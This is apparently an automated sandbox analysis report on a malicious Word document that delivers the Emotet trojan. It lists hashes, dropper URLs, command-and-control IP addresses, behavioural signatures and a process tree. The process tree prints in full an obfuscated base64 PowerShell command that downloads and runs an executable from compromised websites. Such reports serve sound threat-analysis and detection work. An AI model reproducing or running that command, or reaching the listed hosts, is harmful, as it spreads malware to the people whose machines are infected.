Analysis

  • max time kernel
    113s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    03/08/2020, 07:22

General

  • Target
    DOC_33259453953.doc
  • Size 171KB
  • Sample200803-sql4m4a3kn
  • SHA256 be43fcf269bd584b8090b74e5e9844dd447d960fe54898b24607e7f7f1c4066d
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://muliarental.com/wp-includes/uwr_u4_ed3qzbb/

  • exe.dropper

    http://ltrybus.com/cgi-bin/mff_xao9d_5ld5qajfmx/

  • exe.dropper

    http://my6thgen.org/_db_backups/t_e_v7qizcr2/

  • exe.dropper

    http://mywebnerd.com/bluesforsale/zi6_v4g0_rmyg/

  • exe.dropper

    http://www.naayers.org/Library/o_eo_97ml/

Extracted

Family
  • emotet

C2
  • 142.105.151.124:443

  • 62.108.54.22:8080

  • 212.51.142.238:8080

  • 71.208.216.10:80

  • 108.48.41.69:80

  • 83.110.223.58:443

  • 210.165.156.91:80

  • 104.131.44.150:8080

  • 104.236.246.93:8080

  • 5.39.91.110:7080

  • 209.141.54.221:8080

  • 209.182.216.177:443

  • 153.126.210.205:7080

  • 91.211.88.52:7080

  • 180.92.239.110:8080

  • 183.101.175.193:80

  • 162.241.92.219:8080

  • 87.106.139.101:8080

  • 114.146.222.200:80

  • 65.111.120.223:80

rsa_pubkey.plain

Signatures

  • Blacklisted process makes network request 4 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Modifies registry class 280 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Office loads VBA resources, possible macro or embedded object present
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\DOC_33259453953.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1344
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABJAFEAWQBKAFUAcABwAG0APQAnAFcASwBPAFkATwB6AHcAdQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAQwBgAFUAYABSAGkAYABUAFkAUABSAG8AVABgAG8AYwBPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABGAFkATwBGAEUAbgBkAHoAIAA9ACAAJwA2ADUAOQAnADsAJABJAFcAUgBHAEgAawB0AHMAPQAnAFQARgBZAEMAUwBnAGIAawAnADsAJABWAFgASwBJAFgAZABoAGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEYAWQBPAEYARQBuAGQAegArACcALgBlAHgAZQAnADsAJABMAEQAVQBUAEwAcgBrAHMAPQAnAEcASgBQAEkASwB3AHoAcQAnADsAJABRAEcAUQBaAEEAdABxAG8APQAmACgAJwBuAGUAdwAtACcAKwAnAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAG4ARQB0AC4AVwBFAGIAQwBMAGkAZQBuAHQAOwAkAFIAVQBVAE4ASgB5AHoAcQA9ACcAaAB0AHQAcAA6AC8ALwBtAHUAbABpAGEAcgBlAG4AdABhAGwALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAHUAdwByAF8AdQA0AF8AZQBkADMAcQB6AGIAYgAvACoAaAB0AHQAcAA6AC8ALwBsAHQAcgB5AGIAdQBzAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AbQBmAGYAXwB4AGEAbwA5AGQAXwA1AGwAZAA1AHEAYQBqAGYAbQB4AC8AKgBoAHQAdABwADoALwAvAG0AeQA2AHQAaABnAGUAbgAuAG8AcgBnAC8AXwBkAGIAXwBiAGEAYwBrAHUAcABzAC8AdABfAGUAXwB2ADcAcQBpAHoAYwByADIALwAqAGgAdAB0AHAAOgAvAC8AbQB5AHcAZQBiAG4AZQByAGQALgBjAG8AbQAvAGIAbAB1AGUAcwBmAG8AcgBzAGEAbABlAC8AegBpADYAXwB2ADQAZwAwAF8AcgBtAHkAZwAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAG4AYQBhAHkAZQByAHMALgBvAHIAZwAvAEwAaQBiAHIAYQByAHkALwBvAF8AZQBvAF8AOQA3AG0AbAAvACcALgAiAFMAUABsAGAAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUgBLAFIAWgBBAHgAcQBzAD0AJwBZAEgAVgBTAE4AbwB3AGkAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFkASgBMAEcAUwByAGsAYgAgAGkAbgAgACQAUgBVAFUATgBKAHkAegBxACkAewB0AHIAeQB7ACQAUQBHAFEAWgBBAHQAcQBvAC4AIgBkAE8AdwBuAGAATABgAG8AYQBkAGAARgBpAEwARQAiACgAJABZAEoATABHAFMAcgBrAGIALAAgACQAVgBYAEsASQBYAGQAaABjACkAOwAkAEoAUABMAEEAVgBvAGoAbQA9ACcASQBLAFUAQwBDAGMAcwBrACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAVgBYAEsASQBYAGQAaABjACkALgAiAEwARQBuAEcAYABUAEgAIgAgAC0AZwBlACAAMgAwADYAMAAzACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAHIAZQBgAEEAdABlACIAKAAkAFYAWABLAEkAWABkAGgAYwApADsAJABNAEMAWABDAFQAawBtAGwAPQAnAE8AVgBCAE0AQwBpAHEAYQAnADsAYgByAGUAYQBrADsAJABRAE8AQwBRAE4AbgBpAGgAPQAnAFYARQBUAEEARABuAG8AdwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABMAE0AUwBQAEkAZABlAHkAPQAnAEgAWQBTAFQATQBiAHAAdAAnAA==
    1⤵
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    PID:1040
  • C:\Users\Admin\659.exe
    C:\Users\Admin\659.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    PID:1128
    • C:\Windows\SysWOW64\xwizard\xwtpdui.exe
      "C:\Windows\SysWOW64\xwizard\xwtpdui.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EnumeratesProcesses
      PID:1644

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1128-11-0x0000000000260000-0x000000000026C000-memory.dmp

        memory/1344-2-0x0000000008C10000-0x0000000008C14000-memory.dmp

        memory/1344-5-0x000000000B090000-0x000000000B094000-memory.dmp

        memory/1344-6-0x000000000C110000-0x000000000C114000-memory.dmp

        memory/1644-14-0x0000000000340000-0x000000000034C000-memory.dmp